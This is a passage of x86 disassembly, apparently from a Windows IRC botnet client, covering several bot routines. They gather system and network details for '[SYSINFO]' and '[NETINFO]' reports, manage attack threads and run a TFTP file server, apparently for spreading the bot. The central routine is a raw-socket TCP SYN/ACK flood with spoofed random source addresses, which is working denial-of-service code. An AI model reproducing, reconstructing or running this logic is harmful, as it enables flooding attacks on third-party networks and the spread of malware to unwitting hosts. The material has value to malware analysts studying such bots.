"ME" jmp short loc_41177A ; --------------------------------------------------------------------------- loc_411743: ; CODE XREF: sub_4116D2+2Cj cmp [ebp+70h+var_C8], 5 jnz short loc_411773 cmp [ebp+70h+var_C4], ebx jnz short loc_411757 mov [ebp+70h+var_4], offset a2k ; "2K" jmp short loc_41177A ; --------------------------------------------------------------------------- loc_411757: ; CODE XREF: sub_4116D2+7Aj cmp [ebp+70h+var_C4], 1 jnz short loc_411766 mov [ebp+70h+var_4], offset aXp_0 ; "XP" jmp short loc_41177A ; --------------------------------------------------------------------------- loc_411766: ; CODE XREF: sub_4116D2+89j cmp [ebp+70h+var_C4], 2 mov [ebp+70h+var_4], offset a2003 ; "2003" jz short loc_41177A loc_411773: ; CODE XREF: sub_4116D2+66j ; sub_4116D2+75j mov [ebp+70h+var_4], offset a??? ; "???" loc_41177A: ; CODE XREF: sub_4116D2+60j ; sub_4116D2+6Fj ... cmp [ebp+70h+var_BC], 2 jnz short loc_4117A9 loc_411780: ; CODE XREF: sub_4116D2+51j cmp [ebp+70h+var_B8], bl jz short loc_4117A9 lea eax, [ebp+70h+var_B8] push eax push [ebp+70h+var_4] lea eax, [ebp+70h+var_2E8] push offset aSS_5 ; "%s (%s)" push eax call sub_414415 lea eax, [ebp+70h+var_2E8] add esp, 10h mov [ebp+70h+var_4], eax loc_4117A9: ; CODE XREF: sub_4116D2+44j ; sub_4116D2+ACj ... push 3Fh pop ecx xor eax, eax mov [ebp+70h+var_25C], cx lea edi, [ebp+70h+var_25A] rep stosd stosw mov eax, dword_435898 cmp eax, ebx mov [ebp+70h+var_C], 100h jz short loc_4117DC lea ecx, [ebp+70h+var_C] push ecx lea ecx, [ebp+70h+var_25C] push ecx call eax ; GetUserNameA loc_4117DC: ; CODE XREF: sub_4116D2+FBj push [ebp+70h+arg_4] call sub_407D15 pop ecx push eax call dword_43587C ; inet_addr push 2 mov [ebp+70h+var_8], eax push 4 lea eax, [ebp+70h+var_8] push eax call dword_4358F8 ; gethostbyaddr cmp eax, ebx jz short loc_411805 push dword ptr [eax] jmp short loc_41180A ; --------------------------------------------------------------------------- loc_411805: ; CODE XREF: sub_4116D2+12Dj push offset aCouldnTResolve ; "couldn't resolve host" loc_41180A: ; CODE XREF: sub_4116D2+131j lea eax, [ebp+70h+var_3E4] push eax call sub_414415 pop ecx pop ecx push 104h lea eax, [ebp+70h+var_4E8] push eax call ds:dword_420048 ; GetSystemDirectoryA push 46h lea eax, [ebp+70h+var_114] push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx push ebx mov esi, 409h push esi call ds:dword_42009C ; GetDateFormatA push 46h lea eax, [ebp+70h+var_15C] push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call ds:dword_420098 ; GetTimeFormatA push 8 pop ecx xor eax, eax lea edi, [ebp+70h+var_38] rep stosd lea eax, [ebp+70h+var_38] push eax call ds:dword_420130 ; GlobalMemoryStatus push ebx push ebx push ebx lea eax, [ebp+70h+var_18] push eax lea eax, [ebp+70h+var_4E8] push eax call sub_415B3D lea eax, [ebp+70h+var_18] push eax lea eax, [ebp+70h+var_7E8] push eax call sub_402C05 push 60h pop ecx mov esi, eax lea edi, [ebp+70h+var_668] push ebx rep movsd call sub_411551 add esp, 20h push eax lea eax, [ebp+70h+var_15C] push eax lea eax, [ebp+70h+var_114] push eax lea eax, [ebp+70h+var_25C] push eax push [ebp+70h+arg_4] call sub_407D15 pop ecx push eax lea eax, [ebp+70h+var_3E4] push eax lea eax, [ebp+70h+var_4E8] push eax push [ebp+70h+var_C0] lea eax, [ebp+70h+var_5E8] push [ebp+70h+var_C4] push [ebp+70h+var_C8] push [ebp+70h+var_4] push eax lea eax, [ebp+70h+var_568] push eax mov eax, [ebp+70h+var_2C] shr eax, 0Ah push ebx push eax call sub_402B01 pop ecx pop ecx push eax mov eax, [ebp+70h+var_30] shr eax, 0Ah push ebx push eax call sub_402B01 pop ecx pop ecx push eax call sub_41161C push edx push eax push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"... push 200h push [ebp+70h+arg_0] call sub_41466D mov eax, [ebp+70h+arg_0] add esp, 50h pop edi pop esi pop ebx add ebp, 70h leave retn sub_4116D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=6Ch sub_411939 proc near ; CODE XREF: sub_4089DC+3745p ; sub_4089DC+4913p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp lea ebp, [esp-6Ch] sub esp, 8Ch push edi push 20h pop ecx xor eax, eax cmp dword_435980, eax lea edi, [ebp+6Ch+var_8C] rep stosd pop edi jnz short loc_41199F push eax push 80h lea eax, [ebp+6Ch+var_8C] push eax lea eax, [ebp+6Ch+var_C] push eax call dword_435950 ; InternetGetConnectedStateEx test eax, eax jnz short loc_411980 lea eax, [ebp+6Ch+var_8C] push offset dword_42873C push eax call sub_414415 pop ecx pop ecx loc_411980: ; CODE XREF: sub_411939+35j test [ebp+6Ch+var_C], 1 lea eax, [ebp+6Ch+var_8] jz short loc_411998 push offset dword_428734 loc_41198E: ; CODE XREF: sub_411939+64j push eax call sub_414415 pop ecx pop ecx jmp short loc_4119BD ; --------------------------------------------------------------------------- loc_411998: ; CODE XREF: sub_411939+4Ej push offset dword_428730 jmp short loc_41198E ; --------------------------------------------------------------------------- loc_41199F: ; CODE XREF: sub_411939+1Dj push esi mov esi, offset off_42872C lea eax, [ebp+6Ch+var_8] push esi push eax call sub_414415 lea eax, [ebp+6Ch+var_8C] push esi push eax call sub_414415 add esp, 10h pop esi loc_4119BD: ; CODE XREF: sub_411939+5Dj push [ebp+6Ch+arg_4] push [ebp+6Ch+arg_8] call sub_407D15 pop ecx push eax lea eax, [ebp+6Ch+var_8C] push eax lea eax, [ebp+6Ch+var_8] push eax push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"... push 200h push [ebp+6Ch+arg_0] call sub_41466D mov eax, [ebp+6Ch+arg_0] add esp, 1Ch add ebp, 6Ch leave retn sub_411939 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame fpd=74h sub_4119EF proc near ; DATA XREF: sub_4089DC+5360o var_440 = byte ptr -440h var_240 = dword ptr -240h var_23C = byte ptr -23Ch var_1BC = byte ptr -1BCh var_13C = byte ptr -13Ch var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_8C = byte ptr -8Ch var_80 = byte ptr -80h var_78 = byte ptr -78h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2E = word ptr -2Eh var_2C = word ptr -2Ch var_2A = word ptr -2Ah var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 440h mov eax, [ebp+74h+arg_0] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp+74h+var_240] rep movsd mov esi, ds:dword_420004 mov dword ptr [eax+19Ch], 1 push 0Eh xor eax, eax xor ebx, ebx mov [ebp+74h+var_A0], bl pop ecx lea edi, [ebp+74h+var_9F] rep stosd stosw stosb call esi ; GetTickCount push eax call sub_4145C4 pop ecx push 0FFh push 3 push 2 call dword_435808 ; socket cmp eax, 0FFFFFFFFh mov [ebp+74h+var_4], eax jnz short loc_411A78 call dword_4358C0 ; WSAGetLastError push eax push offset aTcpErrorSocket ; "[TCP]: Error: socket() failed, returned"... loc_411A5B: ; CODE XREF: sub_4119EF+B1j lea eax, [ebp+74h+var_440] push eax call sub_414415 add esp, 0Ch loc_411A6A: ; CODE XREF: sub_4119EF+D8j ; sub_4119EF+3DEj cmp [ebp+74h+var_A8], ebx jnz loc_411D7D jmp loc_411D5D ; --------------------------------------------------------------------------- loc_411A78: ; CODE XREF: sub_4119EF+5Ej push 4 lea ecx, [ebp+74h+var_34] push ecx push 2 push ebx push eax mov [ebp+74h+var_34], 1 call dword_435824 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_411AA2 call dword_4358C0 ; WSAGetLastError push eax push offset aTcpErrorSetsoc ; "[TCP]: Error: setsockopt() failed, retu"... jmp short loc_411A5B ; --------------------------------------------------------------------------- loc_411AA2: ; CODE XREF: sub_4119EF+A3j lea eax, [ebp+74h+var_23C] push eax call dword_43587C ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_411AC9 lea eax, [ebp+74h+var_440] push offset aTcpInvalidTarg ; "[TCP]: Invalid target IP." push eax call sub_414415 pop ecx pop ecx jmp short loc_411A6A ; --------------------------------------------------------------------------- loc_411AC9: ; CODE XREF: sub_4119EF+C3j xor eax, eax lea edi, [ebp+74h+var_44] stosd stosd stosd stosd push ebx mov [ebp+74h+var_44], 2 call dword_435954 ; htons mov [ebp+74h+var_42], ax lea eax, [ebp+74h+var_23C] push eax call dword_43587C ; inet_addr mov [ebp+74h+var_40], eax mov [ebp+74h+arg_0], ebx call esi ; GetTickCount mov [ebp+74h+var_1C], eax call esi ; GetTickCount sub eax, [ebp+74h+var_1C] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+74h+var_B4] ja loc_411D15 mov [ebp+74h+var_30], 45h mov [ebp+74h+var_2C], 1 mov [ebp+74h+var_2A], bx mov [ebp+74h+var_28], 80h mov [ebp+74h+var_27], 6 mov [ebp+74h+var_C], 50h mov [ebp+74h+var_6], bx loc_411B30: ; CODE XREF: sub_4119EF+320j push 28h call dword_435954 ; htons cmp [ebp+74h+var_B0], ebx mov [ebp+74h+var_2E], ax mov [ebp+74h+var_26], bx jz short loc_411B6C call sub_4145D1 mov esi, eax shl esi, 8 call sub_4145D1 add esi, eax shl esi, 8 call sub_4145D1 add esi, eax shl esi, 8 call sub_4145D1 add esi, eax jmp short loc_411B81 ; --------------------------------------------------------------------------- loc_411B6C: ; CODE XREF: sub_4119EF+154j push [ebp+74h+var_240] call sub_407D15 pop ecx push eax call dword_43587C ; inet_addr mov esi, eax loc_411B81: ; CODE XREF: sub_4119EF+17Bj cmp [ebp+74h+var_B8], ebx mov edi, [ebp+74h+var_40] mov [ebp+74h+var_24], esi mov [ebp+74h+var_20], edi jnz short loc_411B9F call sub_4145D1 cdq mov ecx, 401h idiv ecx push edx jmp short loc_411BA2 ; --------------------------------------------------------------------------- loc_411B9F: ; CODE XREF: sub_4119EF+19Ej push [ebp+74h+var_B8] loc_411BA2: ; CODE XREF: sub_4119EF+1AEj call dword_435954 ; htons mov [ebp+74h+var_16], ax call sub_4145D1 cdq mov ecx, 401h idiv ecx push edx call dword_435954 ; htons push 12345678h mov [ebp+74h+var_18], ax call dword_43592C ; htonl mov [ebp+74h+var_14], eax lea eax, [ebp+74h+var_1BC] push offset aSyn ; "syn" push eax call sub_414EE0 test eax, eax pop ecx pop ecx jz short loc_411BF2 mov [ebp+74h+var_10], ebx mov [ebp+74h+var_B], 2 jmp short loc_411C4E ; --------------------------------------------------------------------------- loc_411BF2: ; CODE XREF: sub_4119EF+1F8j lea eax, [ebp+74h+var_1BC] push offset aAck ; "ack" push eax call sub_414EE0 test eax, eax pop ecx pop ecx jz short loc_411C12 mov [ebp+74h+var_10], ebx mov [ebp+74h+var_B], 10h jmp short loc_411C4E ; --------------------------------------------------------------------------- loc_411C12: ; CODE XREF: sub_4119EF+218j lea eax, [ebp+74h+var_1BC] push offset aRandom_0 ; "random" push eax call sub_414EE0 test eax, eax pop ecx pop ecx jz short loc_411C4E call sub_4145D1 cdq push 3 pop ecx idiv ecx mov [ebp+74h+var_10], edx call sub_4145D1 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+74h+var_B], dl loc_411C4E: ; CODE XREF: sub_4119EF+201j ; sub_4119EF+221j ... push 200h call dword_435954 ; htons push 14h mov [ebp+74h+var_A], ax mov [ebp+74h+var_8], bx mov [ebp+74h+var_64], esi mov [ebp+74h+var_60], edi mov [ebp+74h+var_5C], bl mov [ebp+74h+var_5B], 6 call dword_435954 ; htons push 8 pop ecx mov [ebp+74h+var_5A], ax push 5 lea esi, [ebp+74h+var_64] lea edi, [ebp+74h+var_A0] rep movsd pop ecx lea eax, [ebp+74h+var_A0] push 34h lea esi, [ebp+74h+var_18] lea edi, [ebp+74h+var_80] push eax rep movsd call sub_407D6B push 5 pop ecx push 5 lea esi, [ebp+74h+var_30] lea edi, [ebp+74h+var_A0] rep movsd mov [ebp+74h+var_8], ax pop ecx lea esi, [ebp+74h+var_18] lea edi, [ebp+74h+var_8C] rep movsd xor eax, eax lea edi, [ebp+74h+var_78] stosd lea eax, [ebp+74h+var_A0] push 28h push eax call sub_407D6B add esp, 10h push 5 pop ecx push 10h mov [ebp+74h+var_26], ax lea eax, [ebp+74h+var_44] push eax push ebx push 3Ch lea eax, [ebp+74h+var_A0] push eax push [ebp+74h+var_4] lea esi, [ebp+74h+var_30] lea edi, [ebp+74h+var_A0] rep movsd call dword_4357D8 ; sendto cmp eax, 0FFFFFFFFh jz loc_411D9A inc [ebp+74h+arg_0] call ds:dword_420004 ; GetTickCount sub eax, [ebp+74h+var_1C] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+74h+var_B4] jbe loc_411B30 loc_411D15: ; CODE XREF: sub_4119EF+11Dj push [ebp+74h+var_4] call dword_435914 ; closesocket mov eax, [ebp+74h+arg_0] imul eax, 3Ch mov ecx, eax shr eax, 0Ah xor edx, edx div [ebp+74h+var_B4] shr ecx, 14h push ecx push eax push [ebp+74h+arg_0] lea eax, [ebp+74h+var_23C] push eax lea eax, [ebp+74h+var_1BC] push eax lea eax, [ebp+74h+var_440] push offset aTcpDoneWithSFl ; "[TCP]: Done with %s flood to IP: %s. Se"... push eax call sub_414415 add esp, 1Ch cmp [ebp+74h+var_A8], ebx jnz short loc_411D7D loc_411D5D: ; CODE XREF: sub_4119EF+84j push ebx push [ebp+74h+var_AC] lea eax, [ebp+74h+var_440] push eax lea eax, [ebp+74h+var_13C] push eax push [ebp+74h+var_240] call sub_4056BF add esp, 14h loc_411D7D: ; CODE XREF: sub_4119EF+7Ej ; sub_4119EF+36Cj lea eax, [ebp+74h+var_440] push eax call sub_401EFF push [ebp+74h+var_BC] call sub_41255E pop ecx pop ecx push ebx call ds:dword_420014 ; ExitThread loc_411D9A: ; CODE XREF: sub_4119EF+302j push [ebp+74h+var_4] call dword_435914 ; closesocket call dword_4358C0 ; WSAGetLastError push eax push [ebp+74h+arg_0] lea eax, [ebp+74h+var_23C] push eax push offset aTcpErrorSendin ; "[TCP]: Error sending packets to IP: %s."... lea eax, [ebp+74h+var_440] push 200h push eax call sub_41466D add esp, 18h jmp loc_411A6A sub_4119EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_411DD2 proc near ; CODE XREF: sub_411DD2:loc_41228Bp ; DATA XREF: sub_401141+107o ... var_884 = dword ptr -884h var_880 = dword ptr -880h var_780 = byte ptr -780h var_580 = byte ptr -580h var_57F = byte ptr -57Fh var_57E = byte ptr -57Eh var_57D = byte ptr -57Dh var_57C = byte ptr -57Ch var_37C = dword ptr -37Ch var_378 = byte ptr -378h var_274 = byte ptr -274h var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = byte ptr -164h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_D8 = byte ptr -0D8h var_D7 = byte ptr -0D7h var_D6 = byte ptr -0D6h var_D5 = byte ptr -0D5h var_58 = byte ptr -58h var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 884h mov edx, [ebp+74h+arg_0] push ebx push esi push edi mov esi, offset aOctet ; "octet" lea edi, [ebp+74h+var_1C] movsd movsw xor ebx, ebx push ebx xor eax, eax inc eax mov esi, edx push 2 mov ecx, 0A9h lea edi, [ebp+74h+var_37C] rep movsd inc [ebp+74h+var_16C] push 2 mov [ebp+74h+var_10], eax mov [edx+2A0h], eax call dword_435808 ; socket mov esi, eax cmp esi, 0FFFFFFFFh mov [ebp+74h+var_4], esi jnz short loc_411E8E push 190h call ds:dword_420000 ; Sleep call dword_4358C0 ; WSAGetLastError push eax lea eax, [ebp+74h+var_780] push offset aTftpErrorSocke ; "[TFTP]: Error: socket() failed, returne"... push eax call sub_414415 add esp, 0Ch cmp [ebp+74h+var_E0], ebx jnz short loc_411E71 push ebx push [ebp+74h+var_E4] lea eax, [ebp+74h+var_780] push eax lea eax, [ebp+74h+var_164] push eax push [ebp+74h+var_37C] call sub_4056BF add esp, 14h loc_411E71: ; CODE XREF: sub_411DD2+7Dj lea eax, [ebp+74h+var_780] push eax call sub_401EFF push [ebp+74h+var_170] call sub_41255E pop ecx jmp loc_412277 ; --------------------------------------------------------------------------- loc_411E8E: ; CODE XREF: sub_411DD2+52j mov eax, [ebp+74h+var_170] push [ebp+74h+var_168] imul eax, 234h mov dword_4366AC[eax], esi xor eax, eax lea edi, [ebp+74h+var_44] stosd stosd stosd stosd mov [ebp+74h+var_44], 2 call dword_435954 ; htons mov [ebp+74h+var_42], ax push 10h lea eax, [ebp+74h+var_44] push eax push esi mov [ebp+74h+var_40], ebx call dword_4358E0 ; bind cmp eax, 0FFFFFFFFh jnz short loc_411EED push 1388h call ds:dword_420000 ; Sleep dec [ebp+74h+var_16C] push [ebp+74h+arg_0] jmp loc_41228B ; --------------------------------------------------------------------------- loc_411EED: ; CODE XREF: sub_411DD2+100j lea eax, [ebp+74h+var_378] push offset dword_420978 push eax call sub_414BF3 cmp eax, ebx pop ecx pop ecx mov [ebp+74h+var_8], eax jnz short loc_411F66 push 190h call ds:dword_420000 ; Sleep lea eax, [ebp+74h+var_378] push eax lea eax, [ebp+74h+var_780] push offset aTftpFailedToOp ; "[TFTP]: Failed to open file: %s." push eax call sub_414415 push ebx push [ebp+74h+var_E4] lea eax, [ebp+74h+var_780] push eax lea eax, [ebp+74h+var_164] push eax push [ebp+74h+var_37C] call sub_4056BF lea eax, [ebp+74h+var_780] push eax call sub_401EFF push [ebp+74h+var_170] call sub_41255E add esp, 28h jmp loc_412278 ; --------------------------------------------------------------------------- loc_411F66: ; CODE XREF: sub_411DD2+133j mov esi, 200h loc_411F6B: ; CODE XREF: sub_411DD2+471j mov edi, [ebp+74h+arg_0] cmp [edi+2A0h], ebx jz loc_41224C mov eax, [ebp+74h+var_4] push 20h pop ecx mov [ebp+74h+var_880], eax xor eax, eax lea edi, [ebp+74h+var_D8] rep stosd lea eax, [ebp+74h+var_34] push eax push ebx push ebx lea eax, [ebp+74h+var_884] push eax push ebx mov [ebp+74h+var_34], 5 mov [ebp+74h+var_30], 1388h mov [ebp+74h+var_884], 1 call dword_4358AC ; select test eax, eax jle loc_412240 xor eax, eax mov edx, 80h mov [ebp+74h+var_580], bl mov ecx, edx lea edi, [ebp+74h+var_57F] rep stosd stosw stosb lea eax, [ebp+74h+var_C] push eax lea eax, [ebp+74h+var_2C] push eax push ebx push edx lea eax, [ebp+74h+var_D8] push eax push [ebp+74h+var_4] mov [ebp+74h+var_C], 10h call dword_4357A0 ; recvfrom push [ebp+74h+var_28] mov [ebp+74h+var_10], eax call dword_435888 ; inet_ntoa push eax lea eax, [ebp+74h+var_58] push eax call sub_414415 cmp [ebp+74h+var_D8], bl pop ecx pop ecx jnz loc_412228 cmp [ebp+74h+var_D7], 1 jnz loc_412183 lea eax, [ebp+74h+var_274] lea edx, [eax+1] loc_41202D: ; CODE XREF: sub_411DD2+260j mov cl, [eax] inc eax cmp cl, bl jnz short loc_41202D sub eax, edx mov [ebp+74h+var_14], eax lea eax, [ebp+74h+var_274] lea edi, [eax+1] loc_412042: ; CODE XREF: sub_411DD2+275j mov cl, [eax] inc eax cmp cl, bl jnz short loc_412042 sub eax, edi push eax lea eax, [ebp+74h+var_D6] push eax lea eax, [ebp+74h+var_274] push eax call sub_415D10 add esp, 0Ch test eax, eax jnz loc_412141 lea eax, [ebp+74h+var_1C] lea edx, [eax+1] loc_41206D: ; CODE XREF: sub_411DD2+2A0j mov cl, [eax] inc eax cmp cl, bl jnz short loc_41206D sub eax, edx push eax mov eax, [ebp+74h+var_14] lea eax, [ebp+eax+74h+var_D5] push eax lea eax, [ebp+74h+var_1C] push eax call sub_415D10 add esp, 0Ch test eax, eax jnz loc_412141 push ebx push ebx push [ebp+74h+var_8] call sub_416087 push [ebp+74h+var_8] lea eax, [ebp+74h+var_57C] push esi push 1 push eax mov [ebp+74h+var_580], bl mov [ebp+74h+var_57F], 3 mov [ebp+74h+var_57E], bl mov [ebp+74h+var_57D], 1 call sub_41499E add esp, 1Ch push [ebp+74h+var_C] lea ecx, [ebp+74h+var_2C] push ecx mov [ebp+74h+var_10], eax push ebx add eax, 4 push eax lea eax, [ebp+74h+var_580] push eax push [ebp+74h+var_4] call dword_4357D8 ; sendto lea eax, [ebp+74h+var_378] push eax lea eax, [ebp+74h+var_58] push eax push offset aTftpFileTransf ; "[TFTP]: File transfer started to IP: %s"... loc_4120FB: ; CODE XREF: sub_411DD2+451j lea eax, [ebp+74h+var_780] push eax call sub_414415 add esp, 10h cmp [ebp+74h+var_E0], ebx jnz short loc_41212F push ebx push [ebp+74h+var_E4] lea eax, [ebp+74h+var_780] push eax lea eax, [ebp+74h+var_164] push eax push [ebp+74h+var_37C] call sub_4056BF add esp, 14h loc_41212F: ; CODE XREF: sub_411DD2+33Bj lea eax, [ebp+74h+var_780] push eax call sub_401EFF pop ecx jmp loc_412240 ; --------------------------------------------------------------------------- loc_412141: ; CODE XREF: sub_411DD2+28Fj ; sub_411DD2+2BBj push [ebp+74h+var_C] lea eax, [ebp+74h+var_2C] push eax push ebx push 13h push offset dword_4288CC push [ebp+74h+var_4] call dword_4357D8 ; sendto lea eax, [ebp+74h+var_274] push eax lea eax, [ebp+74h+var_58] push eax lea eax, [ebp+74h+var_D8] push offset aTftpFileNotFou ; "[TFTP]: File not found: %s (%s)." push eax call sub_414415 lea eax, [ebp+74h+var_D8] push eax call sub_401EFF add esp, 14h jmp loc_412240 ; --------------------------------------------------------------------------- loc_412183: ; CODE XREF: sub_411DD2+24Cj cmp [ebp+74h+var_D7], 4 jnz loc_412228 mov cl, [ebp+74h+var_D5] cmp cl, 0FFh mov al, [ebp+74h+var_D6] mov [ebp+74h+var_580], bl mov [ebp+74h+var_57F], 3 jnz short loc_4121B1 inc al xor cl, cl mov [ebp+74h+var_57D], bl jmp short loc_4121B9 ; --------------------------------------------------------------------------- loc_4121B1: ; CODE XREF: sub_411DD2+3D1j inc cl mov [ebp+74h+var_57D], cl loc_4121B9: ; CODE XREF: sub_411DD2+3DDj mov [ebp+74h+var_57E], al movzx eax, al shl eax, 8 movzx ecx, cl add eax, ecx shl eax, 9 push ebx sub eax, esi push eax push [ebp+74h+var_8] call sub_416087 push [ebp+74h+var_8] lea eax, [ebp+74h+var_57C] push esi push 1 push eax call sub_41499E add esp, 1Ch push [ebp+74h+var_C] mov edi, eax lea eax, [ebp+74h+var_2C] push eax push ebx lea eax, [edi+4] push eax lea eax, [ebp+74h+var_580] push eax push [ebp+74h+var_4] mov [ebp+74h+var_10], edi call dword_4357D8 ; sendto cmp edi, ebx jnz short loc_412240 lea eax, [ebp+74h+var_378] push eax lea eax, [ebp+74h+var_58] push eax push offset aTftpFileTran_0 ; "[TFTP]: File transfer complete to IP: %"... jmp loc_4120FB ; --------------------------------------------------------------------------- loc_412228: ; CODE XREF: sub_411DD2+242j ; sub_411DD2+3B5j push [ebp+74h+var_C] lea eax, [ebp+74h+var_2C] push eax push ebx push 9 push offset dword_42886C push [ebp+74h+var_4] call dword_4357D8 ; sendto loc_412240: ; CODE XREF: sub_411DD2+1E9j ; sub_411DD2+36Aj ... cmp [ebp+74h+var_10], ebx jg loc_411F6B mov edi, [ebp+74h+arg_0] loc_41224C: ; CODE XREF: sub_411DD2+1A2j push [ebp+74h+var_4] call dword_435914 ; closesocket push [ebp+74h+var_8] call sub_4147F3 dec [ebp+74h+var_16C] cmp [edi+2A0h], ebx pop ecx jnz short loc_41227F push [ebp+74h+var_170] call sub_41255E loc_412277: ; CODE XREF: sub_411DD2+B7j pop ecx loc_412278: ; CODE XREF: sub_411DD2+18Fj push ebx call ds:dword_420014 ; ExitThread loc_41227F: ; CODE XREF: sub_411DD2+498j push 3E8h call ds:dword_420000 ; Sleep push edi loc_41228B: ; CODE XREF: sub_411DD2+116j call sub_411DD2 pop edi pop esi pop ebx add ebp, 74h leave retn 4 sub_411DD2 endp ; =============== S U B R O U T I N E ======================================= sub_41229A proc near ; CODE XREF: sub_401141+F0p ; sub_401141+23Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_4364A0 loc_4122A2: ; CODE XREF: sub_41229A+18j cmp byte ptr [eax], 0 jz short loc_4122B6 add eax, 234h inc edi cmp eax, offset dword_47B230 jl short loc_4122A2 jmp short loc_412301 ; --------------------------------------------------------------------------- loc_4122B6: ; CODE XREF: sub_41229A+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_4364A0[esi] push eax call sub_4144A0 mov eax, [esp+14h+arg_4] and dword_4366A4[esi], 0 and dword_4366A8[esi], 0 mov dword_4366A0[esi], eax mov eax, [esp+14h+arg_8] add esp, 0Ch and byte_4366B8[esi], 0 mov dword_4366AC[esi], eax pop esi loc_412301: ; CODE XREF: sub_41229A+1Aj mov eax, edi pop edi retn sub_41229A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412305 proc near ; CODE XREF: sub_41259B+31p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset aThreadList ; "-[Thread List]-" push [ebp+arg_4] push [ebp+arg_0] call sub_4056BF add esp, 14h xor edi, edi mov esi, offset dword_4364A0 loc_41232F: ; CODE XREF: sub_412305+78j cmp byte ptr [esi], 0 jz short loc_412370 cmp [ebp+arg_C], 0 jnz short loc_412343 cmp dword ptr [esi+204h], 0 jnz short loc_412370 loc_412343: ; CODE XREF: sub_412305+33j push esi push edi lea eax, [ebp+var_200] push offset aD_S ; "%d. %s" push eax call sub_414415 push 1 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4056BF add esp, 24h loc_412370: ; CODE XREF: sub_412305+2Dj ; sub_412305+3Cj add esi, 234h inc edi cmp esi, offset dword_47B230 jl short loc_41232F pop edi pop esi leave retn sub_412305 endp ; =============== S U B R O U T I N E ======================================= sub_412383 proc near ; CODE XREF: sub_4089DC+3C73p ; sub_41240B+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_412405 cmp esi, 1F4h jge short loc_412405 imul esi, 234h push edi push ebx lea edi, dword_4366B4[esi] push dword ptr [edi] call ds:dword_4200F0 ; TerminateThread cmp [edi], ebx jz short loc_4123B5 inc ebp loc_4123B5: ; CODE XREF: sub_412383+2Fj mov [edi], ebx lea edi, dword_4366A8[esi] mov eax, [edi] cmp eax, ebx mov dword_4366A0[esi], ebx mov dword_4366A4[esi], ebx jbe short loc_4123D6 push eax call sub_4085A8 pop ecx loc_4123D6: ; CODE XREF: sub_412383+4Aj mov [edi], ebx lea edi, dword_4366AC[esi] push dword ptr [edi] mov byte ptr dword_4364A0[esi], bl mov byte_4366B8[esi], bl call dword_435914 ; closesocket lea esi, dword_4366B0[esi] push dword ptr [esi] mov [edi], ebx call dword_435914 ; closesocket mov [esi], ebx pop edi loc_412405: ; CODE XREF: sub_412383+Dj ; sub_412383+15j pop esi mov eax, ebp pop ebp pop ebx retn sub_412383 endp ; =============== S U B R O U T I N E ======================================= sub_41240B proc near ; CODE XREF: sub_402E5D+18p ; sub_4089DC+3C2Cp ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_4364A0 loc_412417: ; CODE XREF: sub_41240B+2Aj cmp byte ptr [esi], 0 jz short loc_412428 push edi call sub_412383 test eax, eax pop ecx jz short loc_412428 inc ebx loc_412428: ; CODE XREF: sub_41240B+Fj ; sub_41240B+1Aj add esi, 234h inc edi cmp esi, offset dword_47B230 jl short loc_412417 pop edi pop esi mov eax, ebx pop ebx retn sub_41240B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41243D proc near ; CODE XREF: sub_4124D0+1Dp var_4 = dword ptr -4 